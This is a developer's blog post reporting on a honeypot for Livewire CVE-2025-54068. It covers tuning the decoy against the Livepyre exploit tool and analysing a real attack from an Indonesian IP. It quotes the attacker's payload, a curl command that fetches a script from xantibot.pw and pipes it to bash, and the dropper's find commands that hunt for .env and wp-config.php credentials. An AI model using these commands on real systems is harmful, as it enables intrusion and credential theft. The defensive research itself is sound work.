What My Livewire Honeypot Caught in Its First 60 Hours - Helge Sverre⏻<br>HELGE SVERREAll-stack Developer<br>Bergen, Norway • v13.0est. 2012 | 300+ repos | 4000+ contributions<br>Tools | Theme: MidnightMatrixOceanEmberCartoonAquaSakuraAmberY2KBarbieBSODCyberpunkUnder ConstructionSovietFlying ToastersWindows XPWindows 95KDEKDE DarkWinampSteriaRiksknivkastingREMA 1000HomeAboutProjectsArticlesWebToys ▾Misc ▾ « Back to articles<br>What My Livewire Honeypot Caught in Its First 60 Hours<br>May 16, 2026<br>I built livewire-honeypot earlier this month to catch in-the-wild<br>exploitation of CVE-2025-54068. This is its first real-world deployment. Yesterday it caught an Indonesian operator<br>running Livepyre, dropping a payload that pointed at xantibot[.]pw — a C2 that has been operating since at least<br>February 2026 and does not appear in any threat-intel feed I can search.
Honeypot
livewire-honeypot is a FastAPI service that pretends to be a Laravel application running a Livewire 3 version vulnerable<br>to CVE-2025-54068. The CVE is an<br>unauthenticated RCE through Livewire's component-update hydration path.<br>Synacktiv's writeup<br>covers the bug; their public exploit tool is Livepyre.
The trap is deployed at veritron.space on a $6/month DigitalOcean droplet, behind nginx with a Let's Encrypt cert. The<br>facade is a static corporate site for Veritron Systems AS, a fictional Norwegian aerospace and maritime heat-shield<br>defense contractor. It loads Livewire's JS, exposes a contact form with the right wire: attributes, and returns<br>Livewire 3-shaped responses to POST /livewire/message. The only requirement is that it look like a real,<br>slightly-neglected Laravel install. Captured payloads are stored in SQLite, deduplicated by SHA-256, and detonated in a<br>Docker sandbox with --network=none and an LD_PRELOAD libc shim that logs attempted network calls.
Validation against Livepyre
Before exposing the trap to the wild I ran Livepyre against it three times, fixing the facade each time until the tool<br>advanced one stage further.
Run 1 — Target is not vulnerable. Exiting. Livepyre fingerprints the Livewire version by searching for an 8-character<br>cache-bust hash in the rendered HTML. The facade did not emit one. Hardcoded ?id=87e1046f (the v3.5.1 hash) on the<br>livewire.js script tag.
Run 2 — Found 0 snapshot(s) available. Livepyre extracts snapshots with<br>re.findall(r'wire:snapshot="([^"]*)"', html). The regex requires double quotes. The template used single quotes.<br>Switched to HTML-entity-encoded double-quoted form.
Run 3 — Found 1 snapshot(s) available. Sending payload system('id') to livewire. Livepyre committed the stage-2 PHP<br>property-oriented programming chain to the wire on every form parameter. Six payloads, each 1,348 bytes, all classified<br>as serialized_object and detonated in the sandbox. The trap returns 200s shaped like Livewire 3 responses, which is<br>enough to make Livepyre commit bytes before deciding the exploit failed.
First exploitation attempt
At 23:31:37 UTC, source IP 140.213.220.239 (Telkomsel Indonesia residential) made three HTTP requests in two seconds:
23:31:37 GET / read snapshot from page<br>23:31:37 POST /livewire/message stage-1 array-cast probe (325 B)<br>23:31:38 POST /livewire/message stage-2 gadget chain (1,441 B)<br>Copy
User-Agent: python-requests/2.32.4 — the exact version pinned in Livepyre's requirements.txt. Three-request pattern,<br>one-second stage interval, alphabetically-first-parameter probe: all consistent with vanilla Livepyre run without an<br>APP_KEY argument.
The stage-2 payload was 93 bytes larger than Livepyre's default 1,348-byte payload. The delta was the system()<br>argument:
system("(curl -skfsSL https://xantibot.pw/database-sell/shoc.sh<br>| tr -d '\r' | bash >/dev/null 2>&1 &); id")<br>Copy
Two commands chained with ;. The first silently downloads a shell script from xantibot[.]pw, strips Windows line<br>endings, pipes to bash, suppresses output, and backgrounds the process. The second is Livepyre's standard id<br>confirmation check. The dropper begins executing before Livepyre evaluates its own success — the id output is the<br>operator's PoC receipt, not the goal.
The dropper
I retrieved shoc.sh as text and did not execute it. It is not a miner, persistence loader, or generic webshell<br>installer. It is a credential and database-harvesting script for compromised PHP applications.
The first thing it does is create a run marker at /tmp/test1. If that directory already exists, it sends an<br>EXPLOIT SKIP message to a Telegram bot and exits. If not, it sends EXPLOIT RUN, creates the marker directory, and<br>starts searching the filesystem:
find / -type f -name ".env" 2>/dev/null<br>find / -type f -name "wp-config.php" 2>/dev/null<br>find / -type f -name "env.php" 2>/dev/null<br>Copy
For every .env file it finds, it extracts DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY.<br>Laravel environment files with an APP_KEY are sent directly to the operator's Telegram chat as documents, then<br>uploaded to a DigitalOcean Spaces bucket....